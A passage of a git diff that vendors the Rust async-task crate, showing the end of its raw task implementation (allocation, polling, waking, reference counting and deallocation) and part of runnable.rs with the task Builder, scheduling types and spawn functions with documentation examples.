+} + +/// Allocates a task with the given `future` and `schedule` function. +/// +/// It is assumed that initially only the `Runnable` and the `Task` exist. +/// +/// Use a macro to brute force inlining to minimize stack copies of potentially +/// large futures. +macro_rules! allocate_task { + ($f:tt, $s:tt, $m:tt, $builder:ident, $schedule:ident, $raw:ident => $future:block) => {{ + let allocation = + alloc::alloc::alloc(RawTask::<$f, <$f as Future>::Output, $s, $m>::TASK_LAYOUT.layout); + // Allocate enough space for the entire task. + let ptr = NonNull::new(allocation as *mut ()).unwrap_or_else(|| crate::utils::abort()); + + let $raw = RawTask::<$f, <$f as Future>::Output, $s, $m>::from_ptr(ptr.as_ptr()); + + let crate::Builder { + metadata, + #[cfg(feature = "std")] + propagate_panic, + } = $builder; + + // Write the header as the first field of the task. + ($raw.header as *mut HeaderWithMetadata<$m>).write(HeaderWithMetadata { + header: Header { + #[cfg(not(feature = "portable-atomic"))] + state: core::sync::atomic::AtomicUsize::new(SCHEDULED | TASK | REFERENCE), + #[cfg(feature = "portable-atomic")] + state: portable_atomic::AtomicUsize::new(SCHEDULED | TASK | REFERENCE), + awaiter: core::cell::UnsafeCell::new(None), + vtable: &RawTask::<$f, <$f as Future>::Output, $s, $m>::TASK_VTABLE, + #[cfg(feature = "std")] + propagate_panic, + }, + metadata, + }); + + // Write the schedule function as the third field of the task. + ($raw.schedule as *mut S).write($schedule); + + // Explicitly avoid using abort_on_panic here to avoid extra stack + // copies of the future on lower optimization levels. + let bomb = crate::utils::Bomb; + + // Generate the future, now that the metadata has been pinned in place. + // Write the future as the fourth field of the task. + $raw.future.write($future); + // (&(*raw.header).metadata) + + mem::forget(bomb); + ptr + }}; +} + +pub(crate) use allocate_task; + +impl RawTask +where + F: Future, + S: Schedule, +{ + pub(crate) const RAW_WAKER_VTABLE: RawWakerVTable = RawWakerVTable::new( + Header::clone_waker, + wake::, + wake_by_ref::, + drop_waker, + ); + + pub(crate) const TASK_VTABLE: TaskVTable = TaskVTable { + raw_waker_vtable: &Self::RAW_WAKER_VTABLE, + schedule: schedule::, + drop_future: drop_future::, + destroy: destroy::, + run: Self::run, + layout_info: &Self::TASK_LAYOUT, + }; + + /// Creates a `RawTask` from a raw task pointer. + #[inline] + pub(crate) fn from_ptr(ptr: *const ()) -> Self { + unsafe { + Self { + header: ptr as *const HeaderWithMetadata, + schedule: ptr.add_byte(Self::TASK_LAYOUT.offset_s) as *const S, + future: ptr.add_byte(Self::TASK_LAYOUT.offset_f) as *mut F, + output: ptr.add_byte(Self::TASK_LAYOUT.offset_r) as *mut Result, + } + } + } + + /// Runs a task. + /// + /// If polling its future panics, the task will be closed and the panic will be propagated into + /// the caller. + unsafe fn run(ptr: *const ()) -> bool { + let raw = Self::from_ptr(ptr); + let header = ptr as *const Header; + + // Create a context from the raw task pointer and the vtable inside the its header. + let waker = ManuallyDrop::new(Waker::from_raw(RawWaker::new(ptr, &Self::RAW_WAKER_VTABLE))); + let cx = &mut Context::from_waker(&waker); + + let mut state = (*header).state.load(Ordering::Acquire); + + // Update the task's state before polling its future. + loop { + // If the task has already been closed, drop the task reference and return. + if state & CLOSED != 0 { + // Drop the future. + drop_future::(ptr, &Self::TASK_LAYOUT); + + // Mark the task as unscheduled. + let state = (*header).state.fetch_and(!SCHEDULED, Ordering::AcqRel); + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = (*header).take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + return false; + } + + // Mark the task as unscheduled and running. + match (*header).state.compare_exchange_weak( + state, + (state & !SCHEDULED) | RUNNING, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Update the state because we're continuing with polling the future. + state = (state & !SCHEDULED) | RUNNING; + break; + } + Err(s) => state = s, + } + } + + // Poll the inner future, but surround it with a guard that closes the task in case polling + // panics. + // If available, we should also try to catch the panic so that it is propagated correctly. + let guard = Guard::(ptr, &Self::TASK_LAYOUT, PhantomData); + + // Panic propagation is not available for no_std. + #[cfg(not(feature = "std"))] + let poll = ::poll(Pin::new_unchecked(&mut *raw.future), cx).map(Ok); + + #[cfg(feature = "std")] + let poll = { + // Check if we should propagate panics. + if (*header).propagate_panic { + // Use catch_unwind to catch the panic. + match std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + ::poll(Pin::new_unchecked(&mut *raw.future), cx) + })) { + Ok(Poll::Ready(v)) => Poll::Ready(Ok(v)), + Ok(Poll::Pending) => Poll::Pending, + Err(e) => Poll::Ready(Err(e)), + } + } else { + ::poll(Pin::new_unchecked(&mut *raw.future), cx).map(Ok) + } + }; + + mem::forget(guard); + + match poll { + Poll::Ready(out) => { + // Replace the future with its output. + drop_future::(ptr, &Self::TASK_LAYOUT); + raw.output.write(out); + + // The task is now completed. + loop { + // If the `Task` is dropped, we'll need to close it and drop the output. + let new = if state & TASK == 0 { + (state & !RUNNING & !SCHEDULED) | COMPLETED | CLOSED + } else { + (state & !RUNNING & !SCHEDULED) | COMPLETED + }; + + // Mark the task as not running and completed. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the `Task` is dropped or if the task was closed while running, + // now it's time to drop the output. + if state & TASK == 0 || state & CLOSED != 0 { + // Drop the output. + abort_on_panic(|| raw.output.drop_in_place()); + } + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = (*header).take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + break; + } + Err(s) => state = s, + } + } + } + Poll::Pending => { + let mut future_dropped = false; + + // The task is still not completed. + loop { + // If the task was closed while running, we'll need to unschedule in case it + // was woken up and then destroy it. + let new = if state & CLOSED != 0 { + state & !RUNNING & !SCHEDULED + } else { + state & !RUNNING + }; + + if state & CLOSED != 0 && !future_dropped { + // The thread that closed the task didn't drop the future because it was + // running so now it's our responsibility to do so. + drop_future::(ptr, &Self::TASK_LAYOUT); + future_dropped = true; + } + + // Mark the task as not running. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(state) => { + // If the task was closed while running, we need to notify the awaiter. + // If the task was woken up while running, we need to schedule it. + // Otherwise, we just drop the task reference. + if state & CLOSED != 0 { + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = (*header).take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + } else if state & SCHEDULED != 0 { + // The thread that woke the task up didn't reschedule it because + // it was running so now it's our responsibility to do so. + schedule::(ptr, ScheduleInfo::new(true)); + return true; + } else { + // Drop the task reference. + drop_ref(ptr); + } + break; + } + Err(s) => state = s, + } + } + } + } + + false + } +} + +/// A guard that closes the task if polling its future panics. +struct Guard(*const (), &'static TaskLayout, PhantomData F>) +where + F: Future; + +impl Drop for Guard +where + F: Future, +{ + fn drop(&mut self) { + let ptr = self.0; + let task_layout = self.1; + let header = ptr as *const Header; + + unsafe { + let header = &*header; + let mut state = header.state.load(Ordering::Acquire); + + loop { + // If the task was closed while running, then unschedule it, drop its + // future, and drop the task reference. + if state & CLOSED != 0 { + // The thread that closed the task didn't drop the future because it + // was running so now it's our responsibility to do so. + drop_future::(ptr, task_layout); + + // Mark the task as not running and not scheduled. + header + .state + .fetch_and(!RUNNING & !SCHEDULED, Ordering::AcqRel); + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = header.take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + break; + } + + // Mark the task as not running, not scheduled, and closed. + match header.state.compare_exchange_weak( + state, + (state & !RUNNING & !SCHEDULED) | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(state) => { + // Drop the future because the task is now closed. + drop_future::(ptr, task_layout); + + // Take the awaiter out. + let mut awaiter = None; + if state & AWAITER != 0 { + awaiter = header.take(None); + } + + // Drop the task reference. + drop_ref(ptr); + + // Notify the awaiter that the future has been dropped. + if let Some(w) = awaiter { + abort_on_panic(|| w.wake()); + } + break; + } + Err(s) => state = s, + } + } + } + } +} + +/// Schedules a task for running. +/// +/// This function doesn't modify the state of the task. It only passes the task reference to +/// its schedule function. +unsafe fn schedule, M>(ptr: *const (), info: ScheduleInfo) { + let header = ptr as *const Header; + let task_layout = (*header).vtable.layout_info; + let schedule = ptr.add_byte(task_layout.offset_s) as *mut S; + + // If the schedule function has captured variables, create a temporary waker that prevents + // the task from getting deallocated while the function is being invoked. + let _waker; + if mem::size_of::() > 0 { + _waker = Waker::from_raw(Header::clone_waker(ptr)); + } + + let task = Runnable::from_raw(NonNull::new_unchecked(ptr as *mut ())); + (*schedule).schedule(task, info); +} + +/// Drops a waker. +/// +/// This function will decrement the reference count. If it drops down to zero, the associated +/// `Task` has been dropped too, and the task has not been completed, then it will get +/// scheduled one more time so that its future gets dropped by the executor. +#[inline] +unsafe fn drop_waker(ptr: *const ()) { + let header = ptr as *const Header; + match Header::drop_waker(ptr) { + DropWakerAction::Schedule => ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)), + DropWakerAction::Destroy => ((*header).vtable.destroy)(ptr), + DropWakerAction::None => {} + } +} + +/// Drops the future inside a task. +#[inline] +unsafe fn drop_future(ptr: *const (), task_layout: &TaskLayout) { + let future_ptr = ptr.add_byte(task_layout.offset_f) as *mut F; + + // We need a safeguard against panics because the destructor can panic. + abort_on_panic(|| { + future_ptr.drop_in_place(); + }) +} + +/// Wakes a waker. +unsafe fn wake, M>(ptr: *const ()) { + // This is just an optimization. If the schedule function has captured variables, then + // we'll do less reference counting if we wake the waker by reference and then drop it. + if mem::size_of::() > 0 { + wake_by_ref::(ptr); + drop_waker(ptr); + return; + } + + let header = ptr as *const Header; + + let mut state = (*header).state.load(Ordering::Acquire); + + loop { + // If the task is completed or closed, it can't be woken up. + if state & (COMPLETED | CLOSED) != 0 { + // Drop the waker. + drop_waker(ptr); + break; + } + + // If the task is already scheduled, we just need to synchronize with the thread that + // will run the task by "publishing" our current view of the memory. + if state & SCHEDULED != 0 { + // Update the state without actually modifying it. + match (*header).state.compare_exchange_weak( + state, + state, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Drop the waker. + drop_waker(ptr); + break; + } + Err(s) => state = s, + } + } else { + // Mark the task as scheduled. + match (*header).state.compare_exchange_weak( + state, + state | SCHEDULED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the task is not yet scheduled and isn't currently running, now is the + // time to schedule it. + if state & RUNNING == 0 { + // Schedule the task. + schedule::(ptr, ScheduleInfo::new(false)); + } else { + // Drop the waker. + drop_waker(ptr); + } + + break; + } + Err(s) => state = s, + } + } + } +} + +/// Wakes a waker by reference. +unsafe fn wake_by_ref, M>(ptr: *const ()) { + let header = ptr as *const Header; + let header = &*header; + let task_layout = header.vtable.layout_info; + + let mut state = header.state.load(Ordering::Acquire); + + loop { + // If the task is completed or closed, it can't be woken up. + if state & (COMPLETED | CLOSED) != 0 { + break; + } + + // If the task is already scheduled, we just need to synchronize with the thread that + // will run the task by "publishing" our current view of the memory. + if state & SCHEDULED != 0 { + // Update the state without actually modifying it. + match header.state.compare_exchange_weak( + state, + state, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => break, + Err(s) => state = s, + } + } else { + // If the task is not running, we can schedule right away. + let new = if state & RUNNING == 0 { + (state | SCHEDULED) + REFERENCE + } else { + state | SCHEDULED + }; + + // Mark the task as scheduled. + match header.state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the task is not running, now is the time to schedule. + if state & RUNNING == 0 { + // If the reference count overflowed, abort. + if state > isize::MAX as usize { + abort(); + } + + let schedule = ptr.add_byte(task_layout.offset_s) as *mut S; + + // Schedule the task. There is no need to call `Self::schedule(ptr)` + // because the schedule function cannot be destroyed while the waker is + // still alive. + let task = Runnable::from_raw(NonNull::new_unchecked(ptr as *mut ())); + (*schedule).schedule(task, ScheduleInfo::new(false)); + } + + break; + } + Err(s) => state = s, + } + } + } +} + +/// Cleans up task's resources and deallocates it. +/// +/// The schedule function will be dropped, and the task will then get deallocated. +/// The task must be closed before this function is called. +#[inline] +unsafe fn destroy(ptr: *const ()) { + let header = ptr as *const Header; + let task_layout = (*header).vtable.layout_info; + let schedule = ptr.add_byte(task_layout.offset_s); + + // We need a safeguard against panics because destructors can panic. + abort_on_panic(|| { + // Drop the header along with the metadata. + (ptr as *mut HeaderWithMetadata).drop_in_place(); + + // Drop the schedule function. + (schedule as *mut S).drop_in_place(); + }); + + // Finally, deallocate the memory reserved by the task. + alloc::alloc::dealloc(ptr as *mut u8, task_layout.layout); +} + +/// Drops a task reference (`Runnable` or `Waker`). +/// +/// This function will decrement the reference count. If it drops down to zero and the +/// associated `Task` handle has been dropped too, then the task gets destroyed. +#[inline] +pub(crate) unsafe fn drop_ref(ptr: *const ()) { + let header = ptr as *const Header; + let header = &*header; + + // Decrement the reference count. + let new = header.state.fetch_sub(REFERENCE, Ordering::AcqRel) - REFERENCE; + + // If this was the last reference to the task and the `Task` has been dropped too, + // then destroy the task. + if new & !(REFERENCE - 1) == 0 && new & TASK == 0 { + (header.vtable.destroy)(ptr); + } +} + +trait PointerPolyfill { + // Polyfill for `byte_add`. + // TODO: Replace this with `byte_add` once the MSRV should be bumped past 1.75 + /// Adds an unsigned offset in bytes to a pointer. + /// + /// `count` is in units of bytes. + /// + /// This is purely a convenience for casting to a `u8` pointer and + /// using [add][pointer::add] on it. See that method for documentation + /// and safety requirements. + /// + /// # Safety + /// If any of the following conditions are violated, the result is Undefined Behavior: + /// + /// - The offset in bytes, count * size_of::(), computed on mathematical integers + /// (without “wrapping aroundâ€), must fit in an isize. + /// - If the computed offset is non-zero, then self must be derived from a pointer to + /// some allocation, and the entire memory range between self and the result must be + /// in bounds of that allocation. In particular, this range must not “wrap around†+ /// the edge of the address space. + unsafe fn add_byte(self, size: usize) -> Self; +} + +impl PointerPolyfill for *const T { + #[inline] + unsafe fn add_byte(self, size: usize) -> Self { + (self.cast::().add(size)).cast::() + } +} diff --git a/lib/malio/async-task/src/runnable.rs b/lib/malio/async-task/src/runnable.rs new file mode 100644 index 0000000..cada62d --- /dev/null +++ b/lib/malio/async-task/src/runnable.rs @@ -0,0 +1,956 @@ +use core::fmt; +use core::future::Future; +use core::marker::PhantomData; +use core::mem; +use core::ptr::NonNull; +use core::sync::atomic::Ordering; +use core::task::Waker; + +use crate::header::Header; +use crate::header::HeaderWithMetadata; +use crate::raw::drop_ref; +use crate::raw::{allocate_task, RawTask}; +use crate::state::*; +use crate::Task; + +mod sealed { + use super::*; + pub trait Sealed {} + + impl Sealed for F where F: Fn(Runnable) {} + + impl Sealed for WithInfo where F: Fn(Runnable, ScheduleInfo) {} +} + +/// A builder that creates a new task. +#[derive(Debug)] +pub struct Builder { + /// The metadata associated with the task. + pub(crate) metadata: M, + + /// Whether or not a panic that occurs in the task should be propagated. + #[cfg(feature = "std")] + pub(crate) propagate_panic: bool, +} + +impl Default for Builder { + fn default() -> Self { + Builder::new().metadata(M::default()) + } +} + +/// Extra scheduling information that can be passed to the scheduling function. +/// +/// The data source of this struct is directly from the actual implementation +/// of the crate itself, different from [`Runnable`]'s metadata, which is +/// managed by the caller. +/// +/// # Examples +/// +/// ``` +/// use async_task::{Runnable, ScheduleInfo, WithInfo}; +/// use std::sync::{Arc, Mutex}; +/// +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // If the task gets woken up while running, it will be sent into this channel. +/// let (s, r) = flume::unbounded(); +/// // Otherwise, it will be placed into this slot. +/// let lifo_slot = Arc::new(Mutex::new(None)); +/// let schedule = move |runnable: Runnable, info: ScheduleInfo| { +/// if info.woken_while_running { +/// s.send(runnable).unwrap() +/// } else { +/// let last = lifo_slot.lock().unwrap().replace(runnable); +/// if let Some(last) = last { +/// s.send(last).unwrap() +/// } +/// } +/// }; +/// +/// // Create the actual scheduler to be spawned with some future. +/// let scheduler = WithInfo(schedule); +/// // Create a task with the future and the scheduler. +/// let (runnable, task) = async_task::spawn(future, scheduler); +/// ``` +#[derive(Debug, Copy, Clone)] +#[non_exhaustive] +pub struct ScheduleInfo { + /// Indicates whether the task gets woken up while running. + /// + /// It is set to true usually because the task has yielded itself to the + /// scheduler. + pub woken_while_running: bool, +} + +impl ScheduleInfo { + pub(crate) fn new(woken_while_running: bool) -> Self { + ScheduleInfo { + woken_while_running, + } + } +} + +/// The trait for scheduling functions. +pub trait Schedule: sealed::Sealed { + /// The actual scheduling procedure. + fn schedule(&self, runnable: Runnable, info: ScheduleInfo); +} + +impl Schedule for F +where + F: Fn(Runnable), +{ + fn schedule(&self, runnable: Runnable, _: ScheduleInfo) { + self(runnable) + } +} + +/// Pass a scheduling function with more scheduling information - a.k.a. +/// [`ScheduleInfo`]. +/// +/// Sometimes, it's useful to pass the runnable's state directly to the +/// scheduling function, such as whether it's woken up while running. The +/// scheduler can thus use the information to determine its scheduling +/// strategy. +/// +/// The data source of [`ScheduleInfo`] is directly from the actual +/// implementation of the crate itself, different from [`Runnable`]'s metadata, +/// which is managed by the caller. +/// +/// # Examples +/// +/// ``` +/// use async_task::{ScheduleInfo, WithInfo}; +/// use std::sync::{Arc, Mutex}; +/// +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // If the task gets woken up while running, it will be sent into this channel. +/// let (s, r) = flume::unbounded(); +/// // Otherwise, it will be placed into this slot. +/// let lifo_slot = Arc::new(Mutex::new(None)); +/// let schedule = move |runnable, info: ScheduleInfo| { +/// if info.woken_while_running { +/// s.send(runnable).unwrap() +/// } else { +/// let last = lifo_slot.lock().unwrap().replace(runnable); +/// if let Some(last) = last { +/// s.send(last).unwrap() +/// } +/// } +/// }; +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = async_task::spawn(future, WithInfo(schedule)); +/// ``` +#[derive(Debug)] +pub struct WithInfo(pub F); + +impl From for WithInfo { + fn from(value: F) -> Self { + WithInfo(value) + } +} + +impl Schedule for WithInfo +where + F: Fn(Runnable, ScheduleInfo), +{ + fn schedule(&self, runnable: Runnable, info: ScheduleInfo) { + (self.0)(runnable, info) + } +} + +impl Builder<()> { + /// Creates a new task builder. + /// + /// By default, this task builder has no metadata. Use the [`metadata`] method to + /// set the metadata. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// + /// let (runnable, task) = Builder::new().spawn(|()| async {}, |_| {}); + /// ``` + pub fn new() -> Builder<()> { + Builder { + metadata: (), + #[cfg(feature = "std")] + propagate_panic: false, + } + } + + /// Adds metadata to the task. + /// + /// In certain cases, it may be useful to associate some metadata with a task. For instance, + /// you may want to associate a name with a task, or a priority for a priority queue. This + /// method allows the user to attach arbitrary metadata to a task that is available through + /// the [`Runnable`] or the [`Task`]. + /// + /// # Examples + /// + /// This example creates an executor that associates a "priority" number with each task, and + /// then runs the tasks in order of priority. + /// + /// ``` + /// use async_task::{Builder, Runnable}; + /// use once_cell::sync::Lazy; + /// use std::cmp; + /// use std::collections::BinaryHeap; + /// use std::sync::Mutex; + /// + /// # smol::future::block_on(async { + /// /// A wrapper around a `Runnable` that implements `Ord` so that it can be used in a + /// /// priority queue. + /// struct TaskWrapper(Runnable); + /// + /// impl PartialEq for TaskWrapper { + /// fn eq(&self, other: &Self) -> bool { + /// self.0.metadata() == other.0.metadata() + /// } + /// } + /// + /// impl Eq for TaskWrapper {} + /// + /// impl PartialOrd for TaskWrapper { + /// fn partial_cmp(&self, other: &Self) -> Option { + /// Some(self.cmp(other)) + /// } + /// } + /// + /// impl Ord for TaskWrapper { + /// fn cmp(&self, other: &Self) -> cmp::Ordering { + /// self.0.metadata().cmp(other.0.metadata()) + /// } + /// } + /// + /// static EXECUTOR: Lazy>> = Lazy::new(|| { + /// Mutex::new(BinaryHeap::new()) + /// }); + /// + /// let schedule = |runnable| { + /// EXECUTOR.lock().unwrap().push(TaskWrapper(runnable)); + /// }; + /// + /// // Spawn a few tasks with different priorities. + /// let spawn_task = move |priority| { + /// let (runnable, task) = Builder::new().metadata(priority).spawn( + /// move |_| async move { priority }, + /// schedule, + /// ); + /// runnable.schedule(); + /// task + /// }; + /// + /// let t1 = spawn_task(1); + /// let t2 = spawn_task(2); + /// let t3 = spawn_task(3); + /// + /// // Run the tasks in order of priority. + /// let mut metadata_seen = vec![]; + /// while let Some(TaskWrapper(runnable)) = EXECUTOR.lock().unwrap().pop() { + /// metadata_seen.push(*runnable.metadata()); + /// runnable.run(); + /// } + /// + /// assert_eq!(metadata_seen, vec![3, 2, 1]); + /// assert_eq!(t1.await, 1); + /// assert_eq!(t2.await, 2); + /// assert_eq!(t3.await, 3); + /// # }); + /// ``` + pub fn metadata(self, metadata: M) -> Builder { + Builder { + metadata, + #[cfg(feature = "std")] + propagate_panic: self.propagate_panic, + } + } +} + +// Use a macro to brute force inlining to minimize stack copies of potentially +// large futures. +macro_rules! spawn_unchecked { + ($f:tt, $s:tt, $m:tt, $builder:ident, $schedule:ident, $raw:ident => $future:block) => {{ + let ptr = allocate_task!($f, $s, $m, $builder, $schedule, $raw => $future); + + #[allow(unused_unsafe)] + // SAFTETY: The task was just allocated above. + let runnable = unsafe { Runnable::from_raw(ptr) }; + let task = Task { + ptr, + _marker: PhantomData, + }; + (runnable, task) + }}; +} + +impl Builder { + /// Propagates panics that occur in the task. + /// + /// When this is `true`, panics that occur in the task will be propagated to the caller of + /// the [`Task`]. When this is false, no special action is taken when a panic occurs in the + /// task, meaning that the caller of [`Runnable::run`] will observe a panic. + /// + /// This is only available when the `std` feature is enabled. By default, this is `false`. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// use futures_lite::future::poll_fn; + /// use std::future::Future; + /// use std::panic; + /// use std::pin::Pin; + /// use std::task::{Context, Poll}; + /// + /// fn did_panic(f: F) -> bool { + /// panic::catch_unwind(panic::AssertUnwindSafe(f)).is_err() + /// } + /// + /// # smol::future::block_on(async { + /// let (runnable1, mut task1) = Builder::new() + /// .propagate_panic(true) + /// .spawn(|()| async move { panic!() }, |_| {}); + /// + /// let (runnable2, mut task2) = Builder::new() + /// .propagate_panic(false) + /// .spawn(|()| async move { panic!() }, |_| {}); + /// + /// assert!(!did_panic(|| { runnable1.run(); })); + /// assert!(did_panic(|| { runnable2.run(); })); + /// + /// let waker = poll_fn(|cx| Poll::Ready(cx.waker().clone())).await; + /// let mut cx = Context::from_waker(&waker); + /// assert!(did_panic(|| { let _ = Pin::new(&mut task1).poll(&mut cx); })); + /// assert!(did_panic(|| { let _ = Pin::new(&mut task2).poll(&mut cx); })); + /// # }); + /// ``` + #[cfg(feature = "std")] + pub fn propagate_panic(self, propagate_panic: bool) -> Builder { + Builder { + metadata: self.metadata, + propagate_panic, + } + } + + /// Creates a new task. + /// + /// The returned [`Runnable`] is used to poll the `future`, and the [`Task`] is used to await its + /// output. + /// + /// Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] + /// vanishes and only reappears when its [`Waker`] wakes the task, thus scheduling it to be run + /// again. + /// + /// When the task is woken, its [`Runnable`] is passed to the `schedule` function. + /// The `schedule` function should not attempt to run the [`Runnable`] nor to drop it. Instead, it + /// should push it into a task queue so that it can be processed later. + /// + /// If you need to spawn a future that does not implement [`Send`] or isn't `'static`, consider + /// using [`spawn_local()`] or [`spawn_unchecked()`] instead. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// + /// // The future inside the task. + /// let future = async { + /// println!("Hello, world!"); + /// }; + /// + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = Builder::new().spawn(|()| future, schedule); + /// ``` + pub fn spawn(self, future: F, schedule: S) -> (Runnable, Task) + where + F: FnOnce(&M) -> Fut, + Fut: Future + Send + 'static, + Fut::Output: Send + 'static, + S: Schedule + Send + Sync + 'static, + { + unsafe { + spawn_unchecked!(Fut, S, M, self, schedule, raw => { future(&(*raw.header).metadata) }) + } + } + + /// Creates a new thread-local task. + /// + /// This function is same as [`spawn()`], except it does not require [`Send`] on `future`. If the + /// [`Runnable`] is used or dropped on another thread, a panic will occur. + /// + /// This function is only available when the `std` feature for this crate is enabled. + /// + /// # Examples + /// + /// ``` + /// use async_task::{Builder, Runnable}; + /// use flume::{Receiver, Sender}; + /// use std::rc::Rc; + /// + /// thread_local! { + /// // A queue that holds scheduled tasks. + /// static QUEUE: (Sender, Receiver) = flume::unbounded(); + /// } + /// + /// // Make a non-Send future. + /// let msg: Rc = "Hello, world!".into(); + /// let future = async move { + /// println!("{}", msg); + /// }; + /// + /// // A function that schedules the task when it gets woken up. + /// let s = QUEUE.with(|(s, _)| s.clone()); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = Builder::new().spawn_local(move |()| future, schedule); + /// ``` + #[cfg(feature = "std")] + pub fn spawn_local( + self, + future: F, + schedule: S, + ) -> (Runnable, Task) + where + F: FnOnce(&M) -> Fut, + Fut: Future + 'static, + Fut::Output: 'static, + S: Schedule + Send + Sync + 'static, + { + use std::mem::ManuallyDrop; + use std::pin::Pin; + use std::task::{Context, Poll}; + use std::thread::{self, ThreadId}; + + #[inline] + fn thread_id() -> ThreadId { + std::thread_local! { + static ID: ThreadId = thread::current().id(); + } + ID.try_with(|id| *id) + .unwrap_or_else(|_| thread::current().id()) + } + + struct Checked { + id: ThreadId, + inner: ManuallyDrop, + } + + impl Drop for Checked { + fn drop(&mut self) { + assert!( + self.id == thread_id(), + "local task dropped by a thread that didn't spawn it" + ); + unsafe { + ManuallyDrop::drop(&mut self.inner); + } + } + } + + impl Future for Checked { + type Output = F::Output; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + assert!( + self.id == thread_id(), + "local task polled by a thread that didn't spawn it" + ); + unsafe { self.map_unchecked_mut(|c| &mut *c.inner).poll(cx) } + } + } + + // Wrap the future into one that checks which thread it's on. + let future = move |meta| { + let future = future(meta); + + Checked { + id: thread_id(), + inner: ManuallyDrop::new(future), + } + }; + + unsafe { self.spawn_unchecked(future, schedule) } + } + + /// Creates a new task without [`Send`], [`Sync`], and `'static` bounds. + /// + /// This function is same as [`spawn()`], except it does not require [`Send`], [`Sync`], and + /// `'static` on `future` and `schedule`. + /// + /// # Safety + /// + /// - If `Fut` is not [`Send`], its [`Runnable`] must be used and dropped on the original + /// thread. + /// - If `Fut` is not `'static`, borrowed non-metadata variables must outlive its [`Runnable`]. + /// - If `schedule` is not [`Send`] and [`Sync`], all instances of the [`Runnable`]'s [`Waker`] + /// must be used and dropped on the original thread. + /// - If `schedule` is not `'static`, borrowed variables must outlive all instances of the + /// [`Runnable`]'s [`Waker`]. + /// + /// # Examples + /// + /// ``` + /// use async_task::Builder; + /// + /// // The future inside the task. + /// let future = async { + /// println!("Hello, world!"); + /// }; + /// + /// // If the task gets woken up, it will be sent into this channel. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = unsafe { Builder::new().spawn_unchecked(move |()| future, schedule) }; + /// ``` + pub unsafe fn spawn_unchecked<'a, F, Fut, S>( + self, + future: F, + schedule: S, + ) -> (Runnable, Task) + where + F: FnOnce(&'a M) -> Fut, + Fut: Future + 'a, + S: Schedule, + M: 'a, + { + spawn_unchecked!(Fut, S, M, self, schedule, raw => { future(&(*raw.header).metadata) }) + } +} + +/// Creates a new task. +/// +/// The returned [`Runnable`] is used to poll the `future`, and the [`Task`] is used to await its +/// output. +/// +/// Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] +/// vanishes and only reappears when its [`Waker`] wakes the task, thus scheduling it to be run +/// again. +/// +/// When the task is woken, its [`Runnable`] is passed to the `schedule` function. +/// The `schedule` function should not attempt to run the [`Runnable`] nor to drop it. Instead, it +/// should push it into a task queue so that it can be processed later. +/// +/// If you need to spawn a future that does not implement [`Send`] or isn't `'static`, consider +/// using [`spawn_local()`] or [`spawn_unchecked()`] instead. +/// +/// # Examples +/// +/// ``` +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // A function that schedules the task when it gets woken up. +/// let (s, r) = flume::unbounded(); +/// let schedule = move |runnable| s.send(runnable).unwrap(); +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = async_task::spawn(future, schedule); +/// ``` +pub fn spawn(future: F, schedule: S) -> (Runnable, Task) +where + F: Future + Send + 'static, + F::Output: Send + 'static, + S: Schedule + Send + Sync + 'static, +{ + let builder = Builder::new(); + unsafe { spawn_unchecked!(F, S, (), builder, schedule, raw => { future }) } +} + +/// Creates a new thread-local task. +/// +/// This function is same as [`spawn()`], except it does not require [`Send`] on `future`. If the +/// [`Runnable`] is used or dropped on another thread, a panic will occur. +/// +/// This function is only available when the `std` feature for this crate is enabled. +/// +/// # Examples +/// +/// ``` +/// use async_task::Runnable; +/// use flume::{Receiver, Sender}; +/// use std::rc::Rc; +/// +/// thread_local! { +/// // A queue that holds scheduled tasks. +/// static QUEUE: (Sender, Receiver) = flume::unbounded(); +/// } +/// +/// // Make a non-Send future. +/// let msg: Rc = "Hello, 